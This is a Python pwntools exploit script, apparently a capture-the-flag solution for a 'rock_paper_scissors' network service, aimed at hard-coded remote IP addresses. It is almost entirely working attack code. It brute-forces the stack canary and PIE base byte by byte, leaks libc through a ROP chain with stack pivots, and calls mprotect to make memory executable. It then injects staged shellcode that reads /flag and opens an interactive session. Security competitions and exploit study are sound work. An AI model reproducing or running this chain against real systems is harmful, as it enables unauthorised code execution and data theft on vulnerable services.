rock_paper_scissors

rock.py

from pwn import *
import time
context.log_level='debug'
context.arch='amd64'
context.bits=64
# r.send("scissors")
# r=process("./babeOverfl")
host="40.117.63.62"
host="40.121.22.147"
host="34.126.105.174"

if host=="localhost":

    libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
    pop_rdx=0x0000000000130889
    
else:
    libc = ELF('libc-2.31.so')
    pop_rdx=0x000000000011c371
base_Addr=b""

# leaked= b"\x00\xbe\x33\xad\x78\x40\x74\x4f\x00\x00\x00\x00\x00\x00\x00\x00"
# leaked+=b"\x21\x31\xc0\x69\x9d\x55\x00\x00"
def leak_libc():
    while(True):
        global leaked
        global libc
        global base_Addr
        print(hexdump(leaked))
        canary=leaked[0:8]
        base_Addr=u64(leaked[16:24])-0x1121
        

        heap_Addr=base_Addr+0x202000+0x100
        print("pie :"+hex(base_Addr))
        print("heap_Addr :"+hex(heap_Addr))
        payload=p64(base_Addr+0xF7B)

        r=remote(host,12345)
        print(hex(len(b"scissors"+b"1"*(0x20)+canary+p64(heap_Addr+0x30)+payload)))
        r.send(b"scissors"+b"1"*(0x20)+canary+p64(heap_Addr+0x30)+payload)
        time.sleep(0.1)
        payload2=b"paper"+b"A"*(0x33-0x10)+canary
        payload2+=p64(heap_Addr+0x60)
        payload2+=p64(base_Addr+0xF7B)
        r.send(payload2)
        time.sleep(0.1)
        payload3=p64(0)
        payload3+=p64(base_Addr+0x00000000000013eb)
        payload3+=p64(base_Addr+0x201EF0)
        payload3+=p64(base_Addr+0xECF)

        r.send(payload3)
        try:
            print(hexdump(r.recvuntil("You WIN!\n")))
        except:
            continue
        print(hexdump(r.recvuntil("You WIN!\n")))
        libc_leak=r.recv()
        print(hexdump(libc_leak))
        libc.address=u64(libc_leak.ljust(8,b'\x00'))-libc.symbols['recv']
        print("libc "+hex(libc.address))
        break

def pwnnn():
    while(True):
        global leaked
        global libc
        global base_Addr
        print(hexdump(leaked))
        canary=leaked[0:8]
        base_Addr=u64(leaked[16:24])-0x1121
        

        heap_Addr=base_Addr+0x202000+0x500
        print("pie :"+hex(base_Addr))
        print("heap_Addr :"+hex(heap_Addr))
        payload=p64(base_Addr+0xF7B)

        r=remote(host,12345)
        print(hex(len(b"scissors"+b"1"*(0x20)+canary+p64(heap_Addr+0x30+0x370)+payload)))
        r.send(b"scissors"+b"1"*(0x20)+canary+p64(heap_Addr+0x30+0x370)+payload)
        time.sleep(0.1)
        try:
            print(hexdump(r.recvuntil("You WIN!")))
        except:
            continue
        payload2=b"paperrrr"
        payload2+=p64(libc.symbols['mprotect'])
        payload2+=p64(heap_Addr+0x306)
        payload2+=p64(heap_Addr+0x306)
        payload2+=p64(heap_Addr+0x306)
        
        payload2+=canary
        payload2+=p64(heap_Addr+0x60+0x370)
        payload2+=p64(base_Addr+0xF7B)
        payload2=payload2.ljust(0x40,b"\x00")
        r.send(payload2)

        time.sleep(0.1)
        payload3=p64(0)
        payload3+=p64(base_Addr+0xe93)
        payload3+=p64(base_Addr+0x13eb)
        payload3+=p64(heap_Addr+5)
        payload3+=p64(base_Addr+0x13e9)
        payload3+=p64(0)
        payload3+=p64(heap_Addr+0x300+0x30)
        payload3+=p64(base_Addr+0xF7B)
        r.send(payload3)
        
        time.sleep(0.1)
        payload3=b"paper\x00"
        payload3+=asm("""
            mov rdx,rax
            mov rdi,rax
            mov dil,4
            mov rsi,0x%x
            mov dx,0x1000
            syscall
            push rsi
            ret
            """%(heap_Addr-0x500)).ljust(0x32-0x10,b'\x00')+canary
        payload3+=p64(heap_Addr+0x300+0x60)
        payload3+=p64(base_Addr+0xF7B)
        payload3=payload3.ljust(0x40,b"\x00")
        r.send(payload3)
        time.sleep(0.1)
        payload4=p64(0)
        payload4+=p64(libc.address+pop_rdx)#pop rdx ; pop ; ret
        payload4+=p64(7)
        payload4+=p64(0)
        payload4+=p64(base_Addr+0x00000000000013eb)#pop rdi; ret
        payload4+=p64(heap_Addr-0x500)        
        payload4+=p64(base_Addr+0x00000000000013e9)#pop rsi ; pop r15 ; ret
        payload4+=p64(0x1000)


        r.send(payload4)
        shellcode=pwnlib.shellcraft.amd64.linux.cat("/flag",fd=4)
        r.send(asm(shellcode))
        r.interactive()
        break
def leak_stack():
    global leaked
    for i in range(0,24-len(leaked)):
        j=0
        while(j<256):
            r=remote(host,12345)
            test=leaked+p8(j)
            #r=remote("40.121.22.147",12345)
            r.send(b"scissors"+b"1"*(0x28-len(b"scissors"))+test)
            r.recvuntil('\n')
            receive=r.recvuntil('\n')
            print(hexdump(test))

            if (b'WIN' not in receive):
                time.sleep(1)
                r.close()
                continue

            try:
                crash = r.recvuntil('Continue',timeout =5)
                print("OK")
                leaked=leaked+p8(j)
                r.close()
                break
            except(EOFError):
                r.close()
                

                print("FAILED")
                j=j+1
                continue
leaked=b"\x00\xc5\xad\x5f\xa0\x28\x7b\x34\x00\x00\x00\x00\x00\x00\x00\x00"
leaked+=b"\x21\xd1\x55\xe9\xfe\x55\x00\x00"
leaked=b"\x00\x6c\x96\xab\x73\x9e\x81\x5e\x00\x00\x00\x00\x00\x00\x00\x00"
leaked+=b"\x21\x71\x91\x98\x5a\x55\x00\x00"
#leaked=b""
# gdb.attach("rock_paper_scissors","""""")
if host=="localhost":

    leaked=p64(0x6678db9b020ef300)+b'\x00'*8+p64(0x559f9133a000+0x1121)
else:
    leaked=b""
leak_stack()
leak_libc()
if host=="localhost":

    # gdb.attach(4041,"""
    # set follow-fork-mode child
    # breakrva 0x110F
    # c
    # """)
    sleep(2)



pwnnn()